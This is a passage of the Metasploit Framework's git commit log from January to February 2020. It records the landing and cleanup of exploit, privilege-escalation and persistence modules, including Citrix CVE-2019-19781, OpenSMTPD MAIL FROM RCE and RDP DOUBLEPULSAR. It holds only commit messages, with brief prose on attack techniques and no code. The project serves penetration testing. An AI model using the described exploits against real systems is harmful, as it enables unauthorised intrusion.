  2. The module writes a batch file to a
     temp location.
  3. The batch file copies the dll until
     the copy command fails (presumably
     because the dll is now in use by
     PrintIsolationHost.exe).
  4. The dropped files are deleted.
  5. Docs updated to reflect changes.
2020-02-06 12:51:36 -06:00
Metasploit ab32336544 Bump version of framework to 5.0.74 2020-02-06 12:06:53 -06:00
William Vu 62c98710ad Reword vulnerable commit range 2020-02-06 11:03:20 -06:00
Jeffrey Martin 208e59999a Allow multiple moved_from deprecations 2020-02-06 10:31:59 -06:00
Jeffrey Martin abd2c3e1fc adjust moved_from calls to original module names 2020-02-06 10:23:53 -06:00
Adam Cammack 995c56098d Allow multiple moved_from deprecations
Each `moved_from` deprecation in a module with more that one will now
print their respective warnings.
2020-02-06 10:23:32 -06:00
dwelch-r7 a704f757b7 fix windows version 2020-02-06 11:22:03 +00:00
dwelch-r7 95941d539e Add docs for windows ssh persistence 2020-02-06 11:19:14 +00:00
William Vu e053ed7a1e Add Msf::Exploit::Expect mixin and refactor again 2020-02-05 21:16:24 -06:00
William Vu 95fa8602bc Refactor modules that use Expect 2020-02-05 21:16:21 -06:00
Guillaume Clement abf56ae748 Updating GPG keys needed for install binaries. Fixes #12913. 2020-02-05 20:47:56 -05:00
mattaberegg edb3aa30f8 Minor style and performance edits 2020-02-05 15:19:06 -08:00
William Vu b98c0c6876 Add module doc 2020-02-05 17:01:58 -06:00
William Vu 81f9fc7608 Refactor arbitrary payload support 2020-02-05 17:01:54 -06:00
Jeffrey Martin 2bb91a2262 remove jtr specific modules that are refactored 2020-02-05 16:52:19 -06:00
William Vu dae06ab0c9 Reword comments in morris_sendmail_debug
Not sure why I used singular, but it was probably reading too much RFC.
2020-02-05 14:23:29 -06:00
Metasploit d30b6b136a automatic module_metadata_base.json update 2020-02-05 13:28:22 -06:00
Shelby Pace a154efa250 Land #12887, add dlink ssdpcgi cmd inject 2020-02-05 13:19:05 -06:00
Shelby Pace 691a18c997 move docs file, add options 2020-02-05 12:58:46 -06:00
Metasploit aad0ab3716 automatic module_metadata_base.json update 2020-02-05 12:50:53 -06:00
bwatters-r7 9db6b5184b Land #12894, Add Windscribe WindscribeService Named Pipe Privilege Escalation
Merge branch 'land-12894' into upstream-master
2020-02-05 12:37:34 -06:00
Adam Galway ddec8a58a1 disables payload padding and describes shell code 2020-02-05 18:09:39 +00:00
William Vu abdcb67189 Merge remote-tracking branch 'origin/pr/20' into feature/opensmtpd 2020-02-05 11:18:06 -06:00
dwelch-r7 31a6e0e396 Add post module for ssh persistence in windows 2020-02-05 16:21:38 +00:00
s1kr10s de25920f30 The written word "through" is modified 2020-02-05 11:53:51 -03:00
s1kr10s 25c23073c8 Modify disclosure URL, remove printf...
...  as stager flavor and silence msftidy error.
2020-02-04 15:20:57 -03:00
tperry-r7 c7b07db88b Land #12904 clean up contributor guide
Land #12904 clean up contributor guide
2020-02-04 11:35:23 -06:00
s1kr10s 5f7004cf7c Remove 'HttpClient', 'Payload' and 'RHOST'; ...
... replace 'Targets' for a new option, and format 'header', as suggested in the review.
2020-02-04 14:04:23 -03:00
Adam Galway d428e00b35 adds additional clarification and spelling changes 2020-02-04 17:02:46 +00:00
William Vu 533c2a0a9d Land #12909, search help if cached results empty 2020-02-04 10:31:14 -06:00
William Vu 593e391e2f Remove redundant else 2020-02-04 10:28:54 -06:00
Metasploit 81c8a810ba automatic module_metadata_base.json update 2020-02-04 10:28:07 -06:00
wvu-r7 dc0c0a2029 Land #12911, beetel_netconfig_ini_bof style fix 2020-02-04 10:19:46 -06:00
William Vu 22a75c7bee Revert "Fix style"
This reverts commit 9f81aeb4ad.
2020-02-04 10:10:46 -06:00
Adam Galway d76546f8ee clarifies inserted shell code's function 2020-02-04 15:14:36 +00:00
Adam Galway 671f2e9616 msfTidy: set disclosure date to proper format 2020-02-04 11:55:39 +00:00
Adam Galway 37065f5ffe PR Changes: More Cleanup 2020-02-04 10:59:02 +00:00
Adam Galway 4fd865f3a9 PR Changes: Comments, fail_with, and cleanup 2020-02-04 10:57:41 +00:00
Auxilus c75eab5854 show search help when args and module_search_results are empty 2020-02-04 12:14:33 +05:30
blurbdust 4474b6f6dc fix carriage return and spaces at EOL 2020-02-03 21:54:55 -06:00
blurbdust 13e670ceb3 fix carriage return and spaces at EOL 2020-02-03 21:52:30 -06:00
h00die cca3184b36 update userlist to ubuntu 18.04 lamp 2020-02-03 19:07:08 -05:00
Shelby Pace 772431a29e add documentation 2020-02-03 16:25:16 -06:00
Shelby Pace 303bddbb37 add cleanup code and modified options 2020-02-03 16:24:48 -06:00
blurbdust 5f6c9a265f Fix puts to print_error 2020-02-03 16:11:23 -06:00
Metasploit a34ef6fc92 automatic module_metadata_base.json update 2020-02-03 14:07:28 -06:00
Spencer McIntyre a8dc535b2a Land #12903, add the RDP DOUBLEPULSAR module 2020-02-03 14:58:23 -05:00
b4rtik a89d9cd188 Update reflective_dll_inject.rb 2020-02-03 20:21:16 +01:00
blurbdust f3e6f562a1 add docs, fix module location 2020-02-03 13:16:53 -06:00
Adam Galway 375b13733c cleans up contributer guide 2020-02-03 17:29:58 +00:00
William Vu 7175126319 Update title for smb_doublepulsar_rce 2020-02-03 11:19:20 -06:00
William Vu fa6573f8e7 Note arch in supported target 2020-02-03 11:16:16 -06:00
William Vu a3717e13f6 Unf*ck PAYLOAD being set for neutralization 2020-02-03 11:16:16 -06:00
William Vu e12d993027 Move SMB DOPU module to match new naming scheme 2020-02-03 11:16:16 -06:00
William Vu 4ba0762089 Update module doc with service pack 2020-02-03 11:16:16 -06:00
William Vu f49ee7c60e Prefer exploit.rb's rand_text wrapper 2020-02-03 11:16:16 -06:00
William Vu d64eb10b17 Update credit 2020-02-03 11:16:16 -06:00
William Vu 548529e1d4 Clean up parsing 2020-02-03 11:16:16 -06:00
William Vu 9e690414a1 Update ping response parsing with new information
Found the struct that corresponds to the ping response!
2020-02-03 11:16:16 -06:00
William Vu 6241555531 Fix service pack 2020-02-03 11:16:16 -06:00
William Vu 3074e5bece Update module doc once more 2020-02-03 11:16:16 -06:00
William Vu 2ce49456a7 Fix arch detection and add product type
Thanks to @tsellers-r7 for testing XP and producing output to compare
against. Without a 32-bit test, the architecture guess was incorrect.
Additionally, product type had yet to be determined. The trailing bytes
were indeed significant! Thanks, Tom!
2020-02-03 11:16:16 -06:00
William Vu 992a386ece Use build_data_tpdu and note channelJoinConfirm 2020-02-03 11:16:16 -06:00
William Vu 4d21b0e88e Update prints in check for visibility
vprint_good should be print_warning, and most vprints should be print,
even if in check, since check is critical functionality.
2020-02-03 11:16:16 -06:00
William Vu 51ab58f7c9 Add module doc 2020-02-03 11:16:16 -06:00
William Vu 7ba7221a8f Parse ping response into version, build, and arch 2020-02-03 11:16:16 -06:00
William Vu db1a201885 Add RDP DOUBLEPULSAR RCE module 2020-02-03 11:16:16 -06:00
Adam Galway 2ce3cb9e86 updated description 2020-02-03 17:09:56 +00:00
Shelby Pace 1ef34283eb obtain session unreliably 2020-02-03 11:07:36 -06:00
Adam Galway 6b229177f1 Add crosschex buffer overflow exploit 2020-02-03 17:02:04 +00:00
Metasploit fc1451303a automatic module_metadata_base.json update 2020-02-03 08:59:57 -06:00
dwelch-r7 97f5f37344 Land #12807, Install OpenSSH for Windows 2020-02-03 14:50:30 +00:00
b4rtik 1072694130 Update reflective_dll_inject.rb 2020-02-03 13:04:14 +01:00
blurbdust 47b3e9cd94 Add new post module for CVE-2019-18988
https://whynotsecurity.com/blog/teamviewer/
2020-02-03 00:15:24 -06:00
mattaberegg 6f453a0f83 Module rewrite to include Cron exploitation 2020-02-02 17:29:39 -08:00
b4rtik 4f94593264 Update reflective_dll_inject.rb 2020-02-02 10:43:54 +01:00
b4rtik 3dd68849c5 Update reflective_dll_inject.rb 2020-02-02 10:08:34 +01:00
b4rtik ca70cc2d27 Update reflective_dll_inject.rb 2020-02-02 01:08:48 +01:00
b4rtik 483c36e54d Update reflective_dll_inject.rb 2020-02-02 00:59:29 +01:00
RageLtMan e2d0d8f011 Cleanup module and permit alternate payload scheme
The original Qualys exploit uses an inline-shell for loop to read
and thereby consume lines from the input stream preceeding the
intended script for execution in the body section. Payloads which
do not contain bad characters (encoded or coincidentally simple)
can be placed directly into the FROM field and executed in place
of the original for loop filter.
2020-02-01 15:04:22 -05:00
Brendan Coles 34621c0adc Add Windscribe WindscribeService Named Pipe Privilege Escalation 2020-02-01 00:41:07 +00:00
Shelby Pace 8d4637a42b can now add printers 2020-01-31 15:07:56 -06:00
tperry-r7 3ffc79aa85 Land #12878, msftidy_docs
Land #12878, msftidy_docs
2020-01-31 11:59:50 -06:00
RageLtMan 312a3466ee Update 2020-7247 to execute from body
Using method from
https://www.openwall.com/lists/oss-security/2020/01/28/3

Attempted several other line readers via awk, while, for. Tried
without pipes or `>` in the strings. It appears other characters
are also illegal (conditional brackets likely culprits).

Initial testing on wide-open-configured opensmtpd on OpenBSD 6.6
libvirt Vagrant image produces shells, python meterpreter sessions,
and executes generic commands.
2020-01-31 04:32:03 -05:00
h00die 7ee4d28751 Land #12706, apache userdir docs 2020-01-30 13:48:56 -05:00
h00die b9b6b64f0c cleanup apache userdir docs 2020-01-30 13:48:09 -05:00
Metasploit 2a6409a1bc Bump version of framework to 5.0.73 2020-01-30 12:04:05 -06:00
h00die 2907f4ae16 add default un to my/mssql login 2020-01-30 12:43:18 -05:00
Shelby Pace b05fe7453f add improved check method 2020-01-30 11:40:24 -06:00
Metasploit dca17a8922 automatic module_metadata_base.json update 2020-01-30 05:09:31 -06:00
Christophe De La Fuente 394e99fbe9 Land #12568, Fix exploit/windows/local/ms16_032_secondary_logon_handle_privesc 2020-01-30 11:57:56 +01:00
Metasploit 3f4585e401 automatic module_metadata_base.json update 2020-01-29 23:30:19 -06:00
wvu-r7 bf68730c76 Land #12885, URL reference fix 2020-01-29 23:21:58 -06:00
Spencer McIntyre bf31fb7ca8 Land #12883, add the listm and clearm commands 2020-01-29 17:36:12 -05:00
Spencer McIntyre a1f3834e08 Fix a bug in popm and tweak status messages 2020-01-29 17:35:37 -05:00
cdelafuente-r7 9da4555509 Move clean-up code to cleanup method (#2)
Move clean-up code to cleanup method
2020-01-29 17:11:07 +01:00
William Vu 81b8d5b58a Add OpenSMTPD MAIL FROM RCE 2020-01-29 05:10:43 -06:00
h00die bd48588fd5 catch false positive spaces at eol from code indent 2020-01-28 14:28:18 -05:00
s1kr10s 63612e9647 Add documentation for CVE-2019-20215 exploit 2020-01-28 16:21:34 -03:00
s1kr10s 8e0e21d337 Exploit for CVE-2019-20215
Staged, uses meterpreter
2020-01-28 16:15:24 -03:00
adamgalway-r7 0fc1a9ee5f Merge pull request #12886 from adfoster-r7/update_mailmap
Add adfoster7 to the mail map
2020-01-28 15:32:08 +00:00
Alan Foster 28a2e5126a Add adfoster7 to the mail map 2020-01-28 14:53:23 +00:00
Metasploit 267972a519 automatic module_metadata_base.json update 2020-01-28 03:48:52 -06:00
Tim W d4bd195a3d Land #12871, fix osx/local/persistence removal commands and payload options 2020-01-28 17:39:02 +08:00
Daniel Streefkerk 9314e8b65b Reference URL is broken
The URL http://www.fishnetsecurity.com/6labs/blog/post-exploitation-using-netntlm-downgrade-attacks redirects to the www.optiv.com homepage.

The correct current URL is https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks
2020-01-28 20:35:57 +11:00
Tim W 0b0d4c8633 add x64 option to osx/local/persistence and update removal commands 2020-01-28 17:18:23 +08:00
Jeffrey Martin 1b4ce34243 Land #12882, Update set command help for PAYLOAD by index 2020-01-27 23:17:07 -06:00
William Vu 66b856d562 Add listm/clearm commands to manage module stack 2020-01-27 21:57:15 -06:00
William Vu 9c42ba3042 Show previous module in "previous" command help 2020-01-27 21:41:49 -06:00
William Vu 47baf3e643 Add a period so it doesn't drive me crazy 2020-01-27 21:19:55 -06:00
William Vu 08102f2004 Update set command help for PAYLOAD by index 2020-01-27 19:36:27 -06:00
dwelch-r7 560475ebff Land #12733, Add support for repeated key in vars_post 2020-01-27 10:36:06 +00:00
fpr1m3 551ddc0ce3 Documentation mods. Need output of plugin working 2020-01-26 14:39:22 -08:00
cdelafuente-r7 3491da7da0 Add a random sentinel to close channel when terminates (#1)
* Add a random sentinel to close channel when terminates

* Replace spaces with tabs to be consistent

* Remove unnecessary escaped quotes and use include? instead of regex
2020-01-25 23:30:49 +01:00
Shelby Pace 2414fda288 add initial check/metadata 2020-01-24 16:14:51 -06:00
Metasploit d609b0a265 automatic module_metadata_base.json update 2020-01-24 09:00:57 -06:00
bwatters-r7 0d8d17c63d Land #12736, Add support for PPID spoofing 2020-01-24 08:49:51 -06:00
Metasploit 94bb5b6207 automatic module_metadata_base.json update 2020-01-24 03:39:42 -06:00
Tim W cfffb65a21 Land #12859, update AF_PACKET chocobo_root linux LPE 2020-01-24 17:30:13 +08:00
h00die fcf366e7ce fix up enum_patches 2020-01-23 20:59:20 -05:00
Francesco Soncina 8de8860504 Update Payload Gem and add docs (#5)
Update Payload Gem and add docs
2020-01-24 02:46:46 +01:00
Metasploit a60b44c0ed Bump version of framework to 5.0.72 2020-01-23 12:02:42 -06:00
bwatters-r7 b4a1849ac1 Bump Payloads to 1.3.84 2020-01-23 08:34:08 -06:00
h00die 0c13102432 long lines ok in code blocks 2020-01-22 21:08:32 -05:00
h00die a099481f66 fix logic bug and chmod +x 2020-01-22 19:24:01 -05:00
William Vu 2fc1eb10a8 Add verification steps to module doc 2020-01-22 17:16:41 -06:00
William Vu 10a5e9292e Add description header to module doc 2020-01-22 17:08:26 -06:00
William Vu 88b72e6f2e Update module doc to new standard 2020-01-22 16:48:23 -06:00
Metasploit f4e34d0a42 automatic module_metadata_base.json update 2020-01-22 16:42:45 -06:00
wvu-r7 0f453a11e9 Land #12877, rand_text fix for doublepulsar_rce 2020-01-22 16:40:24 -06:00
h00die 322b3f8a8b msftidy_docs first add 2020-01-22 17:39:48 -05:00
William Vu 355ddba6c9 Prefer exploit.rb's rand_text wrapper 2020-01-22 16:37:36 -06:00
tperry-r7 3518b9465c Merge pull request #12831 from h00die/doc_cleanup
Documentation standardization. This is the first step in standardizing the module documentation.
2020-01-22 14:53:12 -06:00
bwatters-r7 208aa3454f Add documentation and warning for PPID interaction 2020-01-22 13:36:34 -06:00
dwelch-r7 75371ec1e1 Land #12874, Add rand_text* debugging support for ranges 2020-01-22 17:00:22 +00:00
Brent Cook 4770557df4 Land #12873, enable custom cookies in Windows reverse http/https payloads 2020-01-22 09:41:39 -06:00
dwelch-r7 66328675f7 Give flag correct name 2020-01-22 15:23:13 +00:00
Metasploit eb59bb7e99 automatic module_metadata_base.json update 2020-01-22 07:18:14 -06:00
Brent Cook 6f6cc00871 Land #12751, add Linux RDS socket NP deref privesc 2020-01-22 07:08:47 -06:00
Brent Cook 5bccf66dcc handle Ranges with rand_text while in debug mode 2020-01-22 05:31:33 -06:00
h00die 11ed7c9a4b Land #12857, date updates in license and copyright 2020-01-21 17:23:54 -05:00
dwelch-r7 1088448aac Add flags to send custom cookies 2020-01-21 19:29:34 +00:00
Francesco Soncina 06843d0ea5 update removal commands for osx/local/persistence
fixes #12870
2020-01-21 16:53:11 +01:00
Metasploit 7b7f56ec04 automatic module_metadata_base.json update 2020-01-21 08:52:47 -06:00
Shelby Pace ccc7b7747f Land #12773, add NVMS directory traversal 2020-01-21 08:44:14 -06:00
Shelby Pace 231c858383 add target_uri to request 2020-01-21 08:43:19 -06:00
Metasploit 2e33a72d2a automatic module_metadata_base.json update 2020-01-21 07:41:03 -06:00
Shelby Pace e7e42b7a59 Land #12768, add dlink command injection module 2020-01-21 07:37:43 -06:00
h00die bc312420ca module doc standardizations 2020-01-20 21:41:32 -05:00
h00die ca59b06fd3 module doc standardizations 2020-01-20 21:26:59 -05:00
mattaberegg c1b66aac77 Updated check function and description 2020-01-20 17:16:45 -08:00
b4rtik 32dafcc9f6 Update reflective_dll_inject.rb 2020-01-20 23:19:03 +01:00
b4rtik 4e75f1862a Update reflective_dll_inject.rb 2020-01-20 23:11:16 +01:00
b4rtik 7cb3ca96e1 Create reflective_dll_inject.rb 2020-01-20 23:07:41 +01:00
b4rtik 34d77e8b11 Align 2020-01-20 22:59:15 +01:00
Dhiraj Mishra 60b5a1791f removing def data
Thanks bcoles
2020-01-20 15:39:45 +04:00
bluesentinelsec 5d7c50e3ed updated to use Msf::Post::Windows::Powershell mixin 2020-01-19 19:51:44 -05:00
mattaberegg 4af14109f5 Grammar change in exploit name 2020-01-19 14:15:11 -08:00
mattaberegg 67ae211845 Grammar change in documentation 2020-01-19 14:14:49 -08:00
mattaberegg d91a166034 Made changes from comments on PR #12858 2020-01-19 13:46:47 -08:00
Brendan Coles 19b1f567b2 Update AF_PACKET chocobo_root Privilege Escalation module 2020-01-19 11:51:01 +00:00
mattaberegg 195d699df0 Add module documentation. 2020-01-18 19:06:59 -08:00
mattaberegg fc1b337c58 Add Apache James 2.3.2 Insecure User Creation Command Injection exploit module. 2020-01-18 19:05:27 -08:00
William Vu 7d486b3374 Update LICENSE and COPYING 2020-01-18 18:45:37 -06:00
William Vu 19fa008b43 Land #12856, whitespace cleanup in cracker lib 2020-01-18 17:58:18 -06:00
William Vu 972cb545f0 Restore the original PLUGIN_FILE contents 2020-01-18 14:57:41 -06:00
h00die 9a376c8d97 tighten whitespace 2020-01-18 14:28:10 -05:00
Brendan Coles 36b6ceb56f Add rds_atomic_free_op_null_pointer_deref_priv_esc (CVE-2018-5333) 2020-01-18 08:34:52 +00:00
Dhiraj Mishra 256855b152 Adding TARGETURI 2020-01-18 13:56:13 +05:30
William Vu 909b298bd9 Land #12790, hashcat -O 2020-01-17 20:37:27 -06:00
William Vu 27ea63ad25 Prefer %w[] instead of %w() 2020-01-17 20:37:12 -06:00
William Vu cbd949927d Add WordPress InfiniteWP Client plugin exploit 2020-01-17 20:12:21 -06:00
William Vu f5c36ffd92 Add methods we'll use to the WordPress mixin 2020-01-17 20:04:23 -06:00
secenv 09801b2507 Add router module/firmware version tested
... under Scenarios, as suggested by @space-r7
2020-01-17 20:57:44 -03:00
secenv 52c7bf6375 Add "Verification Steps"
as suggested by @space-r7.
2020-01-17 20:48:37 -03:00
secenv 7fbdf0ca57 documentation: s/Setup/Vulnerable Application/
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-01-17 20:35:27 -03:00
secenv bd8840fb09 documentation: s/Usage/Scenarios/
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-01-17 20:32:27 -03:00
secenv c0800f4742 Fix typo in documentation
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-01-17 20:31:47 -03:00
fpr1m3 9e66afe3e7 Added documentation for auxiliary/scanner/oracle/oracle_login module 2020-01-16 22:00:29 -08:00
fpr1m3 299fca4e98 Added documentation for auxiliary/scanner/oracle/oracle_login module 2020-01-16 21:54:24 -08:00
fpr1m3 65e2637e29 Added documentation for auxiliary/scanner/oracle/oracle_login module 2020-01-16 21:50:43 -08:00
John Kollross 18b0c3b246 Update apache_userdir_enum.md 2020-01-16 23:15:03 -06:00
Metasploit f826d7747d automatic module_metadata_base.json update 2020-01-16 16:21:33 -06:00
Brent Cook 7f74d28245 Land #12845, check for SSL when SSL is not enabled 2020-01-16 16:12:53 -06:00
h00die 1ff12d05ef spelling 2020-01-16 16:31:39 -05:00
Metasploit d5138c8af1 automatic module_metadata_base.json update 2020-01-16 15:23:08 -06:00
Adam Cammack b0d0bac8bd Land #12846, Use new immutable? method 2020-01-16 15:14:26 -06:00
William Vu 60b787bde1 Use new immutable? method in modules 2020-01-16 15:05:11 -06:00
William Vu a31e4034c8 Check SSL in exploit/linux/http/webmin_backdoor 2020-01-16 14:49:13 -06:00
Metasploit 549de0934a automatic module_metadata_base.json update 2020-01-16 14:30:53 -06:00
William Vu 7646e43ccf Land #12776, PROTOCOL option for sunrpc_portmapper 2020-01-16 14:21:22 -06:00
William Vu bb583672bf Fix style 2020-01-16 14:21:09 -06:00
Metasploit 4ddb1204cc automatic module_metadata_base.json update 2020-01-16 14:10:03 -06:00
William Vu 6712458dbd Land #12758, attributes and immutable? methods 2020-01-16 14:01:29 -06:00
Metasploit 45d8e0f4d3 automatic module_metadata_base.json update 2020-01-16 13:35:47 -06:00
William Vu 441d6c3532 Add immutable? wrapper around attributes method 2020-01-16 13:25:09 -06:00
Adam Cammack 47a3d7fa42 Land #12836, Pin internal gem major versions 2020-01-16 13:23:46 -06:00
William Vu 6bb414ed53 Land #12757, _write_file_unix_shell randomization 2020-01-16 13:19:43 -06:00
William Vu c53e7703fc Land #12795, lwp-request CmdStager 2020-01-16 13:17:41 -06:00
William Vu 2a3f7d8b13 Update rex-exploitation to 0.1.22 2020-01-16 13:15:15 -06:00
Adam Cammack 4ee92a1554 Land #12823, Fix Lua bind payloads 2020-01-16 13:13:01 -06:00
Adam Cammack ab5f5ea74a Land #12808, Add job descriptions for UDP handlers 2020-01-16 13:08:19 -06:00
Metasploit ccd9c8f082 automatic module_metadata_base.json update 2020-01-16 12:14:35 -06:00
bwatters-r7 ee5e9dc922 Land #12832, DisablePayloadHandler replace strings with bools
Merge branch 'land-12832' into upstream-master
2020-01-16 12:10:34 -06:00
Metasploit 895099f82e Bump version of framework to 5.0.71 2020-01-16 12:04:20 -06:00
h00die f3c75e93f3 remove tailing double pounds 2020-01-16 11:57:52 -05:00
h00die a9bf72ac8c ## Options ## remove trailing ## 2020-01-16 11:55:13 -05:00
h00die 50881c899a h1 to h2 2020-01-16 11:46:36 -05:00
h00die dc01f2e99b remove s from application 2020-01-16 11:45:10 -05:00
h00die f970ea7963 example output to scenarios 2020-01-16 11:41:12 -05:00
h00die e4013846d3 more standardizations 2020-01-16 11:32:02 -05:00
h00die 947102e2fe sample output to scenarios 2020-01-16 11:15:06 -05:00
h00die b2e0950bba caps 2020-01-16 11:09:29 -05:00
h00die a1978c76a6 fix up spaces on options header 2020-01-16 10:52:13 -05:00
h00die 4b0ab94043 module options to options 2020-01-16 10:49:22 -05:00
h00die 2fff1f66e9 vulnerable application h1 to h2 2020-01-16 10:44:35 -05:00
h00die 3a4209a092 verification to verification steps 2020-01-16 10:41:12 -05:00
h00die c904b9d2f2 scenario to scenarios 2020-01-16 10:36:38 -05:00
Metasploit cebde261ad automatic module_metadata_base.json update 2020-01-16 07:59:59 -06:00
h00die c4d6feb0aa Land #12721, windows post module docs 2020-01-16 08:50:19 -05:00
h00die 9e1bc8afae doc updates 2020-01-16 08:48:31 -05:00
Jeffrey Martin d32c81b322 limit compatible gems in preparation for Rails 5 2020-01-15 15:54:53 -06:00
Metasploit 5c123e5c1d automatic module_metadata_base.json update 2020-01-15 10:26:33 -06:00
Spencer McIntyre 033a0d1868 Land #12782, add the Plantronics LPE module 2020-01-15 11:17:41 -05:00
h00die fa73709b3e documentation standardization 2020-01-14 21:02:53 -05:00
Dave York 7b14442ab0 replace strings with bools 2020-01-14 20:47:27 -05:00
Metasploit 2081215aae automatic module_metadata_base.json update 2020-01-14 17:17:10 -06:00
wvu-r7 2a31319256 Land #12828, enhanced check for Citrix scanner 2020-01-14 17:08:47 -06:00
Metasploit 1c1003ac59 Bump version of framework to 5.0.70 2020-01-14 13:30:44 -06:00
William Vu 0760319ddf Check for whitespace in [global] directive 2020-01-14 11:21:03 -06:00
Metasploit 4327e94b9f automatic module_metadata_base.json update 2020-01-14 11:03:41 -06:00
William Vu 491c36ccaa Land #12827, credit updates to Citrix exploit 2020-01-14 10:54:57 -06:00
William Vu eaeaae7607 Reformat credit 2020-01-14 10:46:04 -06:00
Jeffrey Martin 1cd75d9f40 document additional PoC authors 2020-01-14 10:22:26 -06:00
Metasploit 5251614c3a automatic module_metadata_base.json update 2020-01-14 08:39:17 -06:00
Shelby Pace 429329c45d Land #12801, add WePresent cmd injection module 2020-01-14 08:29:40 -06:00
Jacob Baines 009ec162de Use string interpolation and removed rundant namespace and return statement 2020-01-14 07:52:30 -05:00
Jacob Baines ea6263e6bb Removed redundant return statement 2020-01-14 06:52:24 -05:00
Jacob Baines ecb825ea71 Remove redundant parameters. 2020-01-14 06:40:40 -05:00
Jacob Baines fa661e58ca Unified the POST request into one function. Fixed hardcoding of SSL. Fixed Author formatting. Fixed connection failure check in check function 2020-01-14 06:22:00 -05:00
Jacob Baines 0308f76bbd Switched to vars_post in send_request_cgi and removed unnecessary documentation 2020-01-14 05:42:06 -05:00
L 58a3f88907 update CacheSize 2020-01-14 17:34:47 +08:00
L d6041f1af5 fix bind_lua 2020-01-14 17:10:43 +08:00
Metasploit 1832f3fd8a automatic module_metadata_base.json update 2020-01-14 01:00:16 -06:00
William Vu a1d9985143 Land #12821, exploit/linux/http/webmin_backdoor
Moved from exploit/unix/webapp/webmin_backdoor.
2020-01-14 00:56:28 -06:00
William Vu 5c4189fdb4 Move unix/webapp/webmin_backdoor to linux/http 2020-01-14 00:50:04 -06:00
Metasploit b6a6ea5d28 automatic module_metadata_base.json update 2020-01-14 00:49:19 -06:00
William Vu 1636008db6 Land #12820: Fix #12813, send_request_cgi change 2020-01-14 00:45:03 -06:00
William Vu 002fe64057 Update pulse_secure_file_disclosure, too
Since I bypassed query/vars_get, send_request_cgi is fine now.
2020-01-14 00:34:06 -06:00
William Vu 16d06b3baa Prefer send_request_cgi over send_request_raw 2020-01-14 00:25:18 -06:00
Metasploit bb58cf55fb automatic module_metadata_base.json update 2020-01-13 22:44:31 -06:00
William Vu 8e553c1478 Land #12816, Citrix CVE-2019-19781 exploit 2020-01-13 22:40:36 -06:00
William Vu 72d06b0e9c Update Pulse Secure file disclosure module
Just the comment.
2020-01-13 22:27:29 -06:00
William Vu 3a8b630262 Set a sane default HttpClientTimeout
Totally forgot I did this for Pulse Secure.
2020-01-13 22:26:26 -06:00
William Vu 92de0b132f Make HttpClientTimeout a float, f'ing finally 2020-01-13 22:25:18 -06:00
William Vu cd65efb259 Revert tuned timeout in favor of HttpClientTimeout
Bad habit!
2020-01-13 22:02:12 -06:00
William Vu c71a75950a Make cmd/unix/generic timeout configurable 2020-01-13 21:35:10 -06:00
William Vu 93c69b3a96 Bump send_request_cgi timeout to 3.5s for shells 2020-01-13 21:29:28 -06:00
William Vu d996ba5b2c Revert future-proofed yet shitty case statement 2020-01-13 21:09:07 -06:00
William Vu a635676604 Update wording in module description 2020-01-13 21:04:07 -06:00
William Vu 4cbbe23b11 Improve wording in doc 2020-01-13 21:02:56 -06:00
William Vu 249702ea51 Explain credit in scanner 2020-01-13 20:57:35 -06:00
William Vu b4550933bb Update module doc 2020-01-13 20:51:58 -06:00
William Vu af4505f007 Clean up module 2020-01-13 20:48:18 -06:00
Metasploit 0359a79792 automatic module_metadata_base.json update 2020-01-13 20:26:34 -06:00
William Vu fe23d4b72b Clobber datastore in CheckModule again!
Seems adding VHOST and SSL wasn't enough. This is a stopgap...
2020-01-13 20:25:07 -06:00
William Vu 04084f84f7 Run rubocop -a 2020-01-13 20:25:07 -06:00
William Vu a45821b706 Rename module 2020-01-13 20:25:07 -06:00
William Vu b4a08503f8 Merge remote-tracking branch 'upstream/master' into pr/12816 2020-01-13 20:25:00 -06:00
William Vu 6c4970f901 Land #12819: Fix #12813, Twitter handle correction 2020-01-13 20:21:46 -06:00
William Vu c9041dae28 Fix @altjx's Twitter handle (@altonjx) 2020-01-13 20:19:48 -06:00
Metasploit 55a3f2aac1 automatic module_metadata_base.json update 2020-01-13 18:25:38 -06:00
William Vu 6498a7c231 Land #12813, Citrix CVE-2019-19781 scanner 2020-01-13 18:16:51 -06:00
William Vu 99235c729f Clean up module doc 2020-01-13 18:05:42 -06:00
William Vu 4ac7f81542 Add Twitter handles 2020-01-13 17:54:28 -06:00
William Vu 3354e69c47 Improve smb.conf check and add PATH option 2020-01-13 17:52:14 -06:00
William Vu 332afe89af Update module doc 2020-01-13 16:45:44 -06:00
William Vu 94b6b6d082 Clean up module 2020-01-13 16:39:05 -06:00
William Vu d7deb4e80a Run rubocop -a 2020-01-13 16:39:05 -06:00
William Vu f1cc40bd77 Rename module 2020-01-13 16:39:05 -06:00
kalba-security c30cd8e0cc Add documentation 2020-01-14 00:31:44 +02:00
secenv eaddce910f Documentation for dlink_dir859_subscribe_exec 2020-01-13 13:27:42 -03:00
secenv 1429a496da Remove _telnet from filename
No need to keep it, it drops meterpreter as payload now.
2020-01-13 13:18:43 -03:00
secenv eab0bd5755 Randomize "Callback" header URL 2020-01-13 11:39:23 -03:00
RAMELLA Sébastien 5d3ad626e6 add. documentation 2020-01-13 18:22:09 +04:00
Metasploit b235f26b60 automatic module_metadata_base.json update 2020-01-12 17:24:51 -06:00
Brent Cook 20cf419e18 Land #12797, improve BlueKeep over remote networks 2020-01-12 17:15:29 -06:00
RAMELLA Sébastien 1570118a14 fix: again chmod 644 WTF! 2020-01-13 01:43:15 +04:00
RAMELLA Sébastien a64b0fa9e7 add. python staged meterpreter support 2020-01-13 01:25:29 +04:00
RAMELLA Sébastien c323df180a fix. file perms to 664 2020-01-12 22:10:23 +04:00
zerosum0x0 aed9b45229 Merge pull request #5 from busterb/bkmouse
move rdp_move_mouse to rdp library, add GROOMDELAY
2020-01-12 10:52:27 -07:00
RAMELLA Sébastien 50637d0d91 add initial source code 2020-01-12 21:12:14 +04:00
Brent Cook 33dadefd53 move rdp_move_mouse to rdp library, add GROOMDELAY 2020-01-12 08:19:44 -06:00
Brent Cook 476eabbffe Land #12811, add newline when printing raw payloads to the console 2020-01-12 07:01:34 -06:00
Brent Cook 55d782c640 Land #12812, update port processing for openvas 2020-01-12 06:52:25 -06:00
Alton Johnson b3bf82be07 Changed permission from executable to just readable 2020-01-11 19:31:38 -05:00
Jeffrey Martin 25e0355951 update port processing for openvas
Port in openvas OMP version 7.0 reports serialize in a new format.
